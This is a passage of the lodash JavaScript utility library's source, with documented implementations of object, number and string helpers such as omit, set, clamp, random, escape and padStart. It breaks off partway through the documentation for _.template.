     * @param {Object} object The source object.
     * @param {...(string|string[])} [paths] The property paths to omit.
     * @returns {Object} Returns the new object.
     * @example
     *
     * var object = { 'a': 1, 'b': '2', 'c': 3 };
     *
     * _.omit(object, ['a', 'c']);
     * // => { 'b': '2' }
     */
    var omit = flatRest(function(object, paths) {
      var result = {};
      if (object == null) {
        return result;
      }
      var isDeep = false;
      paths = arrayMap(paths, function(path) {
        path = castPath(path, object);
        isDeep || (isDeep = path.length > 1);
        return path;
      });
      copyObject(object, getAllKeysIn(object), result);
      if (isDeep) {
        result = baseClone(result, CLONE_DEEP_FLAG | CLONE_FLAT_FLAG | CLONE_SYMBOLS_FLAG, customOmitClone);
      }
      var length = paths.length;
      while (length--) {
        baseUnset(result, paths[length]);
      }
      return result;
    });

    /**
     * The opposite of `_.pickBy`; this method creates an object composed of
     * the own and inherited enumerable string keyed properties of `object` that
     * `predicate` doesn't return truthy for. The predicate is invoked with two
     * arguments: (value, key).
     *
     * @static
     * @memberOf _
     * @since 4.0.0
     * @category Object
     * @param {Object} object The source object.
     * @param {Function} [predicate=_.identity] The function invoked per property.
     * @returns {Object} Returns the new object.
     * @example
     *
     * var object = { 'a': 1, 'b': '2', 'c': 3 };
     *
     * _.omitBy(object, _.isNumber);
     * // => { 'b': '2' }
     */
    function omitBy(object, predicate) {
      return pickBy(object, negate(getIteratee(predicate)));
    }

    /**
     * Creates an object composed of the picked `object` properties.
     *
     * @static
     * @since 0.1.0
     * @memberOf _
     * @category Object
     * @param {Object} object The source object.
     * @param {...(string|string[])} [paths] The property paths to pick.
     * @returns {Object} Returns the new object.
     * @example
     *
     * var object = { 'a': 1, 'b': '2', 'c': 3 };
     *
     * _.pick(object, ['a', 'c']);
     * // => { 'a': 1, 'c': 3 }
     */
    var pick = flatRest(function(object, paths) {
      return object == null ? {} : basePick(object, paths);
    });

    /**
     * Creates an object composed of the `object` properties `predicate` returns
     * truthy for. The predicate is invoked with two arguments: (value, key).
     *
     * @static
     * @memberOf _
     * @since 4.0.0
     * @category Object
     * @param {Object} object The source object.
     * @param {Function} [predicate=_.identity] The function invoked per property.
     * @returns {Object} Returns the new object.
     * @example
     *
     * var object = { 'a': 1, 'b': '2', 'c': 3 };
     *
     * _.pickBy(object, _.isNumber);
     * // => { 'a': 1, 'c': 3 }
     */
    function pickBy(object, predicate) {
      if (object == null) {
        return {};
      }
      var props = arrayMap(getAllKeysIn(object), function(prop) {
        return [prop];
      });
      predicate = getIteratee(predicate);
      return basePickBy(object, props, function(value, path) {
        return predicate(value, path[0]);
      });
    }

    /**
     * This method is like `_.get` except that if the resolved value is a
     * function it's invoked with the `this` binding of its parent object and
     * its result is returned.
     *
     * @static
     * @since 0.1.0
     * @memberOf _
     * @category Object
     * @param {Object} object The object to query.
     * @param {Array|string} path The path of the property to resolve.
     * @param {*} [defaultValue] The value returned for `undefined` resolved values.
     * @returns {*} Returns the resolved value.
     * @example
     *
     * var object = { 'a': [{ 'b': { 'c1': 3, 'c2': _.constant(4) } }] };
     *
     * _.result(object, 'a[0].b.c1');
     * // => 3
     *
     * _.result(object, 'a[0].b.c2');
     * // => 4
     *
     * _.result(object, 'a[0].b.c3', 'default');
     * // => 'default'
     *
     * _.result(object, 'a[0].b.c3', _.constant('default'));
     * // => 'default'
     */
    function result(object, path, defaultValue) {
      path = castPath(path, object);

      var index = -1,
          length = path.length;

      // Ensure the loop is entered when path is empty.
      if (!length) {
        length = 1;
        object = undefined;
      }
      while (++index < length) {
        var value = object == null ? undefined : object[toKey(path[index])];
        if (value === undefined) {
          index = length;
          value = defaultValue;
        }
        object = isFunction(value) ? value.call(object) : value;
      }
      return object;
    }

    /**
     * Sets the value at `path` of `object`. If a portion of `path` doesn't exist,
     * it's created. Arrays are created for missing index properties while objects
     * are created for all other missing properties. Use `_.setWith` to customize
     * `path` creation.
     *
     * **Note:** This method mutates `object`.
     *
     * @static
     * @memberOf _
     * @since 3.7.0
     * @category Object
     * @param {Object} object The object to modify.
     * @param {Array|string} path The path of the property to set.
     * @param {*} value The value to set.
     * @returns {Object} Returns `object`.
     * @example
     *
     * var object = { 'a': [{ 'b': { 'c': 3 } }] };
     *
     * _.set(object, 'a[0].b.c', 4);
     * console.log(object.a[0].b.c);
     * // => 4
     *
     * _.set(object, ['x', '0', 'y', 'z'], 5);
     * console.log(object.x[0].y.z);
     * // => 5
     */
    function set(object, path, value) {
      return object == null ? object : baseSet(object, path, value);
    }

    /**
     * This method is like `_.set` except that it accepts `customizer` which is
     * invoked to produce the objects of `path`.  If `customizer` returns `undefined`
     * path creation is handled by the method instead. The `customizer` is invoked
     * with three arguments: (nsValue, key, nsObject).
     *
     * **Note:** This method mutates `object`.
     *
     * @static
     * @memberOf _
     * @since 4.0.0
     * @category Object
     * @param {Object} object The object to modify.
     * @param {Array|string} path The path of the property to set.
     * @param {*} value The value to set.
     * @param {Function} [customizer] The function to customize assigned values.
     * @returns {Object} Returns `object`.
     * @example
     *
     * var object = {};
     *
     * _.setWith(object, '[0][1]', 'a', Object);
     * // => { '0': { '1': 'a' } }
     */
    function setWith(object, path, value, customizer) {
      customizer = typeof customizer == 'function' ? customizer : undefined;
      return object == null ? object : baseSet(object, path, value, customizer);
    }

    /**
     * Creates an array of own enumerable string keyed-value pairs for `object`
     * which can be consumed by `_.fromPairs`. If `object` is a map or set, its
     * entries are returned.
     *
     * @static
     * @memberOf _
     * @since 4.0.0
     * @alias entries
     * @category Object
     * @param {Object} object The object to query.
     * @returns {Array} Returns the key-value pairs.
     * @example
     *
     * function Foo() {
     *   this.a = 1;
     *   this.b = 2;
     * }
     *
     * Foo.prototype.c = 3;
     *
     * _.toPairs(new Foo);
     * // => [['a', 1], ['b', 2]] (iteration order is not guaranteed)
     */
    var toPairs = createToPairs(keys);

    /**
     * Creates an array of own and inherited enumerable string keyed-value pairs
     * for `object` which can be consumed by `_.fromPairs`. If `object` is a map
     * or set, its entries are returned.
     *
     * @static
     * @memberOf _
     * @since 4.0.0
     * @alias entriesIn
     * @category Object
     * @param {Object} object The object to query.
     * @returns {Array} Returns the key-value pairs.
     * @example
     *
     * function Foo() {
     *   this.a = 1;
     *   this.b = 2;
     * }
     *
     * Foo.prototype.c = 3;
     *
     * _.toPairsIn(new Foo);
     * // => [['a', 1], ['b', 2], ['c', 3]] (iteration order is not guaranteed)
     */
    var toPairsIn = createToPairs(keysIn);

    /**
     * An alternative to `_.reduce`; this method transforms `object` to a new
     * `accumulator` object which is the result of running each of its own
     * enumerable string keyed properties thru `iteratee`, with each invocation
     * potentially mutating the `accumulator` object. If `accumulator` is not
     * provided, a new object with the same `[[Prototype]]` will be used. The
     * iteratee is invoked with four arguments: (accumulator, value, key, object).
     * Iteratee functions may exit iteration early by explicitly returning `false`.
     *
     * @static
     * @memberOf _
     * @since 1.3.0
     * @category Object
     * @param {Object} object The object to iterate over.
     * @param {Function} [iteratee=_.identity] The function invoked per iteration.
     * @param {*} [accumulator] The custom accumulator value.
     * @returns {*} Returns the accumulated value.
     * @example
     *
     * _.transform([2, 3, 4], function(result, n) {
     *   result.push(n *= n);
     *   return n % 2 == 0;
     * }, []);
     * // => [4, 9]
     *
     * _.transform({ 'a': 1, 'b': 2, 'c': 1 }, function(result, value, key) {
     *   (result[value] || (result[value] = [])).push(key);
     * }, {});
     * // => { '1': ['a', 'c'], '2': ['b'] }
     */
    function transform(object, iteratee, accumulator) {
      var isArr = isArray(object),
          isArrLike = isArr || isBuffer(object) || isTypedArray(object);

      iteratee = getIteratee(iteratee, 4);
      if (accumulator == null) {
        var Ctor = object && object.constructor;
        if (isArrLike) {
          accumulator = isArr ? new Ctor : [];
        }
        else if (isObject(object)) {
          accumulator = isFunction(Ctor) ? baseCreate(getPrototype(object)) : {};
        }
        else {
          accumulator = {};
        }
      }
      (isArrLike ? arrayEach : baseForOwn)(object, function(value, index, object) {
        return iteratee(accumulator, value, index, object);
      });
      return accumulator;
    }

    /**
     * Removes the property at `path` of `object`.
     *
     * **Note:** This method mutates `object`.
     *
     * @static
     * @memberOf _
     * @since 4.0.0
     * @category Object
     * @param {Object} object The object to modify.
     * @param {Array|string} path The path of the property to unset.
     * @returns {boolean} Returns `true` if the property is deleted, else `false`.
     * @example
     *
     * var object = { 'a': [{ 'b': { 'c': 7 } }] };
     * _.unset(object, 'a[0].b.c');
     * // => true
     *
     * console.log(object);
     * // => { 'a': [{ 'b': {} }] };
     *
     * _.unset(object, ['a', '0', 'b', 'c']);
     * // => true
     *
     * console.log(object);
     * // => { 'a': [{ 'b': {} }] };
     */
    function unset(object, path) {
      return object == null ? true : baseUnset(object, path);
    }

    /**
     * This method is like `_.set` except that accepts `updater` to produce the
     * value to set. Use `_.updateWith` to customize `path` creation. The `updater`
     * is invoked with one argument: (value).
     *
     * **Note:** This method mutates `object`.
     *
     * @static
     * @memberOf _
     * @since 4.6.0
     * @category Object
     * @param {Object} object The object to modify.
     * @param {Array|string} path The path of the property to set.
     * @param {Function} updater The function to produce the updated value.
     * @returns {Object} Returns `object`.
     * @example
     *
     * var object = { 'a': [{ 'b': { 'c': 3 } }] };
     *
     * _.update(object, 'a[0].b.c', function(n) { return n * n; });
     * console.log(object.a[0].b.c);
     * // => 9
     *
     * _.update(object, 'x[0].y.z', function(n) { return n ? n + 1 : 0; });
     * console.log(object.x[0].y.z);
     * // => 0
     */
    function update(object, path, updater) {
      return object == null ? object : baseUpdate(object, path, castFunction(updater));
    }

    /**
     * This method is like `_.update` except that it accepts `customizer` which is
     * invoked to produce the objects of `path`.  If `customizer` returns `undefined`
     * path creation is handled by the method instead. The `customizer` is invoked
     * with three arguments: (nsValue, key, nsObject).
     *
     * **Note:** This method mutates `object`.
     *
     * @static
     * @memberOf _
     * @since 4.6.0
     * @category Object
     * @param {Object} object The object to modify.
     * @param {Array|string} path The path of the property to set.
     * @param {Function} updater The function to produce the updated value.
     * @param {Function} [customizer] The function to customize assigned values.
     * @returns {Object} Returns `object`.
     * @example
     *
     * var object = {};
     *
     * _.updateWith(object, '[0][1]', _.constant('a'), Object);
     * // => { '0': { '1': 'a' } }
     */
    function updateWith(object, path, updater, customizer) {
      customizer = typeof customizer == 'function' ? customizer : undefined;
      return object == null ? object : baseUpdate(object, path, castFunction(updater), customizer);
    }

    /**
     * Creates an array of the own enumerable string keyed property values of `object`.
     *
     * **Note:** Non-object values are coerced to objects.
     *
     * @static
     * @since 0.1.0
     * @memberOf _
     * @category Object
     * @param {Object} object The object to query.
     * @returns {Array} Returns the array of property values.
     * @example
     *
     * function Foo() {
     *   this.a = 1;
     *   this.b = 2;
     * }
     *
     * Foo.prototype.c = 3;
     *
     * _.values(new Foo);
     * // => [1, 2] (iteration order is not guaranteed)
     *
     * _.values('hi');
     * // => ['h', 'i']
     */
    function values(object) {
      return object == null ? [] : baseValues(object, keys(object));
    }

    /**
     * Creates an array of the own and inherited enumerable string keyed property
     * values of `object`.
     *
     * **Note:** Non-object values are coerced to objects.
     *
     * @static
     * @memberOf _
     * @since 3.0.0
     * @category Object
     * @param {Object} object The object to query.
     * @returns {Array} Returns the array of property values.
     * @example
     *
     * function Foo() {
     *   this.a = 1;
     *   this.b = 2;
     * }
     *
     * Foo.prototype.c = 3;
     *
     * _.valuesIn(new Foo);
     * // => [1, 2, 3] (iteration order is not guaranteed)
     */
    function valuesIn(object) {
      return object == null ? [] : baseValues(object, keysIn(object));
    }

    /*------------------------------------------------------------------------*/

    /**
     * Clamps `number` within the inclusive `lower` and `upper` bounds.
     *
     * @static
     * @memberOf _
     * @since 4.0.0
     * @category Number
     * @param {number} number The number to clamp.
     * @param {number} [lower] The lower bound.
     * @param {number} upper The upper bound.
     * @returns {number} Returns the clamped number.
     * @example
     *
     * _.clamp(-10, -5, 5);
     * // => -5
     *
     * _.clamp(10, -5, 5);
     * // => 5
     */
    function clamp(number, lower, upper) {
      if (upper === undefined) {
        upper = lower;
        lower = undefined;
      }
      if (upper !== undefined) {
        upper = toNumber(upper);
        upper = upper === upper ? upper : 0;
      }
      if (lower !== undefined) {
        lower = toNumber(lower);
        lower = lower === lower ? lower : 0;
      }
      return baseClamp(toNumber(number), lower, upper);
    }

    /**
     * Checks if `n` is between `start` and up to, but not including, `end`. If
     * `end` is not specified, it's set to `start` with `start` then set to `0`.
     * If `start` is greater than `end` the params are swapped to support
     * negative ranges.
     *
     * @static
     * @memberOf _
     * @since 3.3.0
     * @category Number
     * @param {number} number The number to check.
     * @param {number} [start=0] The start of the range.
     * @param {number} end The end of the range.
     * @returns {boolean} Returns `true` if `number` is in the range, else `false`.
     * @see _.range, _.rangeRight
     * @example
     *
     * _.inRange(3, 2, 4);
     * // => true
     *
     * _.inRange(4, 8);
     * // => true
     *
     * _.inRange(4, 2);
     * // => false
     *
     * _.inRange(2, 2);
     * // => false
     *
     * _.inRange(1.2, 2);
     * // => true
     *
     * _.inRange(5.2, 4);
     * // => false
     *
     * _.inRange(-3, -2, -6);
     * // => true
     */
    function inRange(number, start, end) {
      start = toFinite(start);
      if (end === undefined) {
        end = start;
        start = 0;
      } else {
        end = toFinite(end);
      }
      number = toNumber(number);
      return baseInRange(number, start, end);
    }

    /**
     * Produces a random number between the inclusive `lower` and `upper` bounds.
     * If only one argument is provided a number between `0` and the given number
     * is returned. If `floating` is `true`, or either `lower` or `upper` are
     * floats, a floating-point number is returned instead of an integer.
     *
     * **Note:** JavaScript follows the IEEE-754 standard for resolving
     * floating-point values which can produce unexpected results.
     *
     * @static
     * @memberOf _
     * @since 0.7.0
     * @category Number
     * @param {number} [lower=0] The lower bound.
     * @param {number} [upper=1] The upper bound.
     * @param {boolean} [floating] Specify returning a floating-point number.
     * @returns {number} Returns the random number.
     * @example
     *
     * _.random(0, 5);
     * // => an integer between 0 and 5
     *
     * _.random(5);
     * // => also an integer between 0 and 5
     *
     * _.random(5, true);
     * // => a floating-point number between 0 and 5
     *
     * _.random(1.2, 5.2);
     * // => a floating-point number between 1.2 and 5.2
     */
    function random(lower, upper, floating) {
      if (floating && typeof floating != 'boolean' && isIterateeCall(lower, upper, floating)) {
        upper = floating = undefined;
      }
      if (floating === undefined) {
        if (typeof upper == 'boolean') {
          floating = upper;
          upper = undefined;
        }
        else if (typeof lower == 'boolean') {
          floating = lower;
          lower = undefined;
        }
      }
      if (lower === undefined && upper === undefined) {
        lower = 0;
        upper = 1;
      }
      else {
        lower = toFinite(lower);
        if (upper === undefined) {
          upper = lower;
          lower = 0;
        } else {
          upper = toFinite(upper);
        }
      }
      if (lower > upper) {
        var temp = lower;
        lower = upper;
        upper = temp;
      }
      if (floating || lower % 1 || upper % 1) {
        var rand = nativeRandom();
        return nativeMin(lower + (rand * (upper - lower + freeParseFloat('1e-' + ((rand + '').length - 1)))), upper);
      }
      return baseRandom(lower, upper);
    }

    /*------------------------------------------------------------------------*/

    /**
     * Converts `string` to [camel case](https://en.wikipedia.org/wiki/CamelCase).
     *
     * @static
     * @memberOf _
     * @since 3.0.0
     * @category String
     * @param {string} [string=''] The string to convert.
     * @returns {string} Returns the camel cased string.
     * @example
     *
     * _.camelCase('Foo Bar');
     * // => 'fooBar'
     *
     * _.camelCase('--foo-bar--');
     * // => 'fooBar'
     *
     * _.camelCase('__FOO_BAR__');
     * // => 'fooBar'
     */
    var camelCase = createCompounder(function(result, word, index) {
      word = word.toLowerCase();
      return result + (index ? capitalize(word) : word);
    });

    /**
     * Converts the first character of `string` to upper case and the remaining
     * to lower case.
     *
     * @static
     * @memberOf _
     * @since 3.0.0
     * @category String
     * @param {string} [string=''] The string to capitalize.
     * @returns {string} Returns the capitalized string.
     * @example
     *
     * _.capitalize('FRED');
     * // => 'Fred'
     */
    function capitalize(string) {
      return upperFirst(toString(string).toLowerCase());
    }

    /**
     * Deburrs `string` by converting
     * [Latin-1 Supplement](https://en.wikipedia.org/wiki/Latin-1_Supplement_(Unicode_block)#Character_table)
     * and [Latin Extended-A](https://en.wikipedia.org/wiki/Latin_Extended-A)
     * letters to basic Latin letters and removing
     * [combining diacritical marks](https://en.wikipedia.org/wiki/Combining_Diacritical_Marks).
     *
     * @static
     * @memberOf _
     * @since 3.0.0
     * @category String
     * @param {string} [string=''] The string to deburr.
     * @returns {string} Returns the deburred string.
     * @example
     *
     * _.deburr('déjà vu');
     * // => 'deja vu'
     */
    function deburr(string) {
      string = toString(string);
      return string && string.replace(reLatin, deburrLetter).replace(reComboMark, '');
    }

    /**
     * Checks if `string` ends with the given target string.
     *
     * @static
     * @memberOf _
     * @since 3.0.0
     * @category String
     * @param {string} [string=''] The string to inspect.
     * @param {string} [target] The string to search for.
     * @param {number} [position=string.length] The position to search up to.
     * @returns {boolean} Returns `true` if `string` ends with `target`,
     *  else `false`.
     * @example
     *
     * _.endsWith('abc', 'c');
     * // => true
     *
     * _.endsWith('abc', 'b');
     * // => false
     *
     * _.endsWith('abc', 'b', 2);
     * // => true
     */
    function endsWith(string, target, position) {
      string = toString(string);
      target = baseToString(target);

      var length = string.length;
      position = position === undefined
        ? length
        : baseClamp(toInteger(position), 0, length);

      var end = position;
      position -= target.length;
      return position >= 0 && string.slice(position, end) == target;
    }

    /**
     * Converts the characters "&", "<", ">", '"', and "'" in `string` to their
     * corresponding HTML entities.
     *
     * **Note:** No other characters are escaped. To escape additional
     * characters use a third-party library like [_he_](https://mths.be/he).
     *
     * Though the ">" character is escaped for symmetry, characters like
     * ">" and "/" don't need escaping in HTML and have no special meaning
     * unless they're part of a tag or unquoted attribute value. See
     * [Mathias Bynens's article](https://mathiasbynens.be/notes/ambiguous-ampersands)
     * (under "semi-related fun fact") for more details.
     *
     * When working with HTML you should always
     * [quote attribute values](http://wonko.com/post/html-escaping) to reduce
     * XSS vectors.
     *
     * @static
     * @since 0.1.0
     * @memberOf _
     * @category String
     * @param {string} [string=''] The string to escape.
     * @returns {string} Returns the escaped string.
     * @example
     *
     * _.escape('fred, barney, & pebbles');
     * // => 'fred, barney, &amp; pebbles'
     */
    function escape(string) {
      string = toString(string);
      return (string && reHasUnescapedHtml.test(string))
        ? string.replace(reUnescapedHtml, escapeHtmlChar)
        : string;
    }

    /**
     * Escapes the `RegExp` special characters "^", "$", "\", ".", "*", "+",
     * "?", "(", ")", "[", "]", "{", "}", and "|" in `string`.
     *
     * @static
     * @memberOf _
     * @since 3.0.0
     * @category String
     * @param {string} [string=''] The string to escape.
     * @returns {string} Returns the escaped string.
     * @example
     *
     * _.escapeRegExp('[lodash](https://lodash.com/)');
     * // => '\[lodash\]\(https://lodash\.com/\)'
     */
    function escapeRegExp(string) {
      string = toString(string);
      return (string && reHasRegExpChar.test(string))
        ? string.replace(reRegExpChar, '\\$&')
        : string;
    }

    /**
     * Converts `string` to
     * [kebab case](https://en.wikipedia.org/wiki/Letter_case#Special_case_styles).
     *
     * @static
     * @memberOf _
     * @since 3.0.0
     * @category String
     * @param {string} [string=''] The string to convert.
     * @returns {string} Returns the kebab cased string.
     * @example
     *
     * _.kebabCase('Foo Bar');
     * // => 'foo-bar'
     *
     * _.kebabCase('fooBar');
     * // => 'foo-bar'
     *
     * _.kebabCase('__FOO_BAR__');
     * // => 'foo-bar'
     */
    var kebabCase = createCompounder(function(result, word, index) {
      return result + (index ? '-' : '') + word.toLowerCase();
    });

    /**
     * Converts `string`, as space separated words, to lower case.
     *
     * @static
     * @memberOf _
     * @since 4.0.0
     * @category String
     * @param {string} [string=''] The string to convert.
     * @returns {string} Returns the lower cased string.
     * @example
     *
     * _.lowerCase('--Foo-Bar--');
     * // => 'foo bar'
     *
     * _.lowerCase('fooBar');
     * // => 'foo bar'
     *
     * _.lowerCase('__FOO_BAR__');
     * // => 'foo bar'
     */
    var lowerCase = createCompounder(function(result, word, index) {
      return result + (index ? ' ' : '') + word.toLowerCase();
    });

    /**
     * Converts the first character of `string` to lower case.
     *
     * @static
     * @memberOf _
     * @since 4.0.0
     * @category String
     * @param {string} [string=''] The string to convert.
     * @returns {string} Returns the converted string.
     * @example
     *
     * _.lowerFirst('Fred');
     * // => 'fred'
     *
     * _.lowerFirst('FRED');
     * // => 'fRED'
     */
    var lowerFirst = createCaseFirst('toLowerCase');

    /**
     * Pads `string` on the left and right sides if it's shorter than `length`.
     * Padding characters are truncated if they can't be evenly divided by `length`.
     *
     * @static
     * @memberOf _
     * @since 3.0.0
     * @category String
     * @param {string} [string=''] The string to pad.
     * @param {number} [length=0] The padding length.
     * @param {string} [chars=' '] The string used as padding.
     * @returns {string} Returns the padded string.
     * @example
     *
     * _.pad('abc', 8);
     * // => '  abc   '
     *
     * _.pad('abc', 8, '_-');
     * // => '_-abc_-_'
     *
     * _.pad('abc', 3);
     * // => 'abc'
     */
    function pad(string, length, chars) {
      string = toString(string);
      length = toInteger(length);

      var strLength = length ? stringSize(string) : 0;
      if (!length || strLength >= length) {
        return string;
      }
      var mid = (length - strLength) / 2;
      return (
        createPadding(nativeFloor(mid), chars) +
        string +
        createPadding(nativeCeil(mid), chars)
      );
    }

    /**
     * Pads `string` on the right side if it's shorter than `length`. Padding
     * characters are truncated if they exceed `length`.
     *
     * @static
     * @memberOf _
     * @since 4.0.0
     * @category String
     * @param {string} [string=''] The string to pad.
     * @param {number} [length=0] The padding length.
     * @param {string} [chars=' '] The string used as padding.
     * @returns {string} Returns the padded string.
     * @example
     *
     * _.padEnd('abc', 6);
     * // => 'abc   '
     *
     * _.padEnd('abc', 6, '_-');
     * // => 'abc_-_'
     *
     * _.padEnd('abc', 3);
     * // => 'abc'
     */
    function padEnd(string, length, chars) {
      string = toString(string);
      length = toInteger(length);

      var strLength = length ? stringSize(string) : 0;
      return (length && strLength < length)
        ? (string + createPadding(length - strLength, chars))
        : string;
    }

    /**
     * Pads `string` on the left side if it's shorter than `length`. Padding
     * characters are truncated if they exceed `length`.
     *
     * @static
     * @memberOf _
     * @since 4.0.0
     * @category String
     * @param {string} [string=''] The string to pad.
     * @param {number} [length=0] The padding length.
     * @param {string} [chars=' '] The string used as padding.
     * @returns {string} Returns the padded string.
     * @example
     *
     * _.padStart('abc', 6);
     * // => '   abc'
     *
     * _.padStart('abc', 6, '_-');
     * // => '_-_abc'
     *
     * _.padStart('abc', 3);
     * // => 'abc'
     */
    function padStart(string, length, chars) {
      string = toString(string);
      length = toInteger(length);

      var strLength = length ? stringSize(string) : 0;
      return (length && strLength < length)
        ? (createPadding(length - strLength, chars) + string)
        : string;
    }

    /**
     * Converts `string` to an integer of the specified radix. If `radix` is
     * `undefined` or `0`, a `radix` of `10` is used unless `value` is a
     * hexadecimal, in which case a `radix` of `16` is used.
     *
     * **Note:** This method aligns with the
     * [ES5 implementation](https://es5.github.io/#x15.1.2.2) of `parseInt`.
     *
     * @static
     * @memberOf _
     * @since 1.1.0
     * @category String
     * @param {string} string The string to convert.
     * @param {number} [radix=10] The radix to interpret `value` by.
     * @param- {Object} [guard] Enables use as an iteratee for methods like `_.map`.
     * @returns {number} Returns the converted integer.
     * @example
     *
     * _.parseInt('08');
     * // => 8
     *
     * _.map(['6', '08', '10'], _.parseInt);
     * // => [6, 8, 10]
     */
    function parseInt(string, radix, guard) {
      if (guard || radix == null) {
        radix = 0;
      } else if (radix) {
        radix = +radix;
      }
      return nativeParseInt(toString(string).replace(reTrimStart, ''), radix || 0);
    }

    /**
     * Repeats the given string `n` times.
     *
     * @static
     * @memberOf _
     * @since 3.0.0
     * @category String
     * @param {string} [string=''] The string to repeat.
     * @param {number} [n=1] The number of times to repeat the string.
     * @param- {Object} [guard] Enables use as an iteratee for methods like `_.map`.
     * @returns {string} Returns the repeated string.
     * @example
     *
     * _.repeat('*', 3);
     * // => '***'
     *
     * _.repeat('abc', 2);
     * // => 'abcabc'
     *
     * _.repeat('abc', 0);
     * // => ''
     */
    function repeat(string, n, guard) {
      if ((guard ? isIterateeCall(string, n, guard) : n === undefined)) {
        n = 1;
      } else {
        n = toInteger(n);
      }
      return baseRepeat(toString(string), n);
    }

    /**
     * Replaces matches for `pattern` in `string` with `replacement`.
     *
     * **Note:** This method is based on
     * [`String#replace`](https://mdn.io/String/replace).
     *
     * @static
     * @memberOf _
     * @since 4.0.0
     * @category String
     * @param {string} [string=''] The string to modify.
     * @param {RegExp|string} pattern The pattern to replace.
     * @param {Function|string} replacement The match replacement.
     * @returns {string} Returns the modified string.
     * @example
     *
     * _.replace('Hi Fred', 'Fred', 'Barney');
     * // => 'Hi Barney'
     */
    function replace() {
      var args = arguments,
          string = toString(args[0]);

      return args.length < 3 ? string : string.replace(args[1], args[2]);
    }

    /**
     * Converts `string` to
     * [snake case](https://en.wikipedia.org/wiki/Snake_case).
     *
     * @static
     * @memberOf _
     * @since 3.0.0
     * @category String
     * @param {string} [string=''] The string to convert.
     * @returns {string} Returns the snake cased string.
     * @example
     *
     * _.snakeCase('Foo Bar');
     * // => 'foo_bar'
     *
     * _.snakeCase('fooBar');
     * // => 'foo_bar'
     *
     * _.snakeCase('--FOO-BAR--');
     * // => 'foo_bar'
     */
    var snakeCase = createCompounder(function(result, word, index) {
      return result + (index ? '_' : '') + word.toLowerCase();
    });

    /**
     * Splits `string` by `separator`.
     *
     * **Note:** This method is based on
     * [`String#split`](https://mdn.io/String/split).
     *
     * @static
     * @memberOf _
     * @since 4.0.0
     * @category String
     * @param {string} [string=''] The string to split.
     * @param {RegExp|string} separator The separator pattern to split by.
     * @param {number} [limit] The length to truncate results to.
     * @returns {Array} Returns the string segments.
     * @example
     *
     * _.split('a-b-c', '-', 2);
     * // => ['a', 'b']
     */
    function split(string, separator, limit) {
      if (limit && typeof limit != 'number' && isIterateeCall(string, separator, limit)) {
        separator = limit = undefined;
      }
      limit = limit === undefined ? MAX_ARRAY_LENGTH : limit >>> 0;
      if (!limit) {
        return [];
      }
      string = toString(string);
      if (string && (
            typeof separator == 'string' ||
            (separator != null && !isRegExp(separator))
          )) {
        separator = baseToString(separator);
        if (!separator && hasUnicode(string)) {
          return castSlice(stringToArray(string), 0, limit);
        }
      }
      return string.split(separator, limit);
    }

    /**
     * Converts `string` to
     * [start case](https://en.wikipedia.org/wiki/Letter_case#Stylistic_or_specialised_usage).
     *
     * @static
     * @memberOf _
     * @since 3.1.0
     * @category String
     * @param {string} [string=''] The string to convert.
     * @returns {string} Returns the start cased string.
     * @example
     *
     * _.startCase('--foo-bar--');
     * // => 'Foo Bar'
     *
     * _.startCase('fooBar');
     * // => 'Foo Bar'
     *
     * _.startCase('__FOO_BAR__');
     * // => 'FOO BAR'
     */
    var startCase = createCompounder(function(result, word, index) {
      return result + (index ? ' ' : '') + upperFirst(word);
    });

    /**
     * Checks if `string` starts with the given target string.
     *
     * @static
     * @memberOf _
     * @since 3.0.0
     * @category String
     * @param {string} [string=''] The string to inspect.
     * @param {string} [target] The string to search for.
     * @param {number} [position=0] The position to search from.
     * @returns {boolean} Returns `true` if `string` starts with `target`,
     *  else `false`.
     * @example
     *
     * _.startsWith('abc', 'a');
     * // => true
     *
     * _.startsWith('abc', 'b');
     * // => false
     *
     * _.startsWith('abc', 'b', 1);
     * // => true
     */
    function startsWith(string, target, position) {
      string = toString(string);
      position = position == null
        ? 0
        : baseClamp(toInteger(position), 0, string.length);

      target = baseToString(target);
      return string.slice(position, position + target.length) == target;
    }

    /**
     * Creates a compiled template function that can interpolate data properties
     * in "interpolate" delimiters, HTML-escape interpolated data properties in
     * "escape" delimiters, and execute JavaScript in "evaluate" delimiters. Data
     * properties may be accessed as free variables in the template. If a setting
     * object is given, it takes precedence over `_.templateSettings` values.
     *
     * **Note:** In the development build `_.template` utilizes
     * [sourceURLs](http://www.html5rocks.com/en/tutorials/developertools/sourcemaps/#toc-sourceurl)
     * for easier debugging.
     *
     * For more information on precompiling templates see
     * [lodash's custom builds documentation](https://lodash.com/custom-builds).
     *
     * For more information on Chrome extension sandboxes see
     * [Chrome's extensions documentation](https://developer.chrome.com/extensions/sandboxingEval).
     *
     * @static
     * @since 0.1.0
     * @memberOf _
     * @category String
     * @param {string} [string=''] The template string.
     * @param {Object} [options={}] The options object.
     * @param {RegExp} [options.escape=_.templateSettings.escape]
     *  The HTML "escape" delimiter.
     * @param {RegExp} [options.evaluate=_.templateSettings.evaluate]
     *  The "evaluate" delimiter.
     * @param {Object} [options.imports=_.templateSettings.imports]
     *  An object to import into the template as free variables.
     * @param {RegExp} [options.interpolate=_.templateSettings.interpolate]
     *  The "interpolate" delimiter.
     * @param {string} [options.sourceURL='lodash.templateSources[n]']
     *  The sourceURL of the compiled template.
     * @param {string} [options.variable='obj']
     *  The data object variable name.
     * @param- {Object} [guard] Enables use as an iteratee for methods like `_.map`.
     * @returns {Function} Returns the compiled template function.
     * @example
     *
     * // Use the "interpolate" delimiter to create a compiled template.
     * var compiled = _.template('hello <%= user %>!');
     * compiled({ 'user': 'fred' });
     * // => 'hello fred!'
     *
     * // Use the HTML "escape" delimiter to escape data property values.
     * var compiled = _.template('<b><%- value %></b>');
     * compiled({ 'value': '<script>' });
     * // => '<b>&lt;script&gt;</b>'
     *
     * // Use the "evaluate" delimiter to execute JavaScript and generate HTML.
     * var compiled = _.template('<% _.forEach(users, function(user) { %><li><%- user %></li><% }); %>');
     * compiled({ 'users': ['fred', 'barney'] });
     * // => '<li>fred</li><li>barney</li>'
     *
     * // Use the internal `print` function in "evaluate" delimiters.
     * var compiled = _.template('<% print("hello " + user); %>!');
     * compiled({ 'user': 'barney' });
     * // => 'hello barney!'
     *
     * // Use the ES template literal delimiter as an "interpolate" delimiter.
     * // Disable support by replacing the "interpolate" delimiter.
     * var compiled = _.template('hello ${ user }!');
     * compiled({ 'user': 'pebbles' });
     * // => 'hello pebbles!'
     *
     * // Use backslashes to treat delimiters as plain text.
     * var compiled = _.template('<%= "\\<%- value %\\>" %>');
     * compiled({ 'value': 'ignored' });
     * // => '<%- value %>'
     *
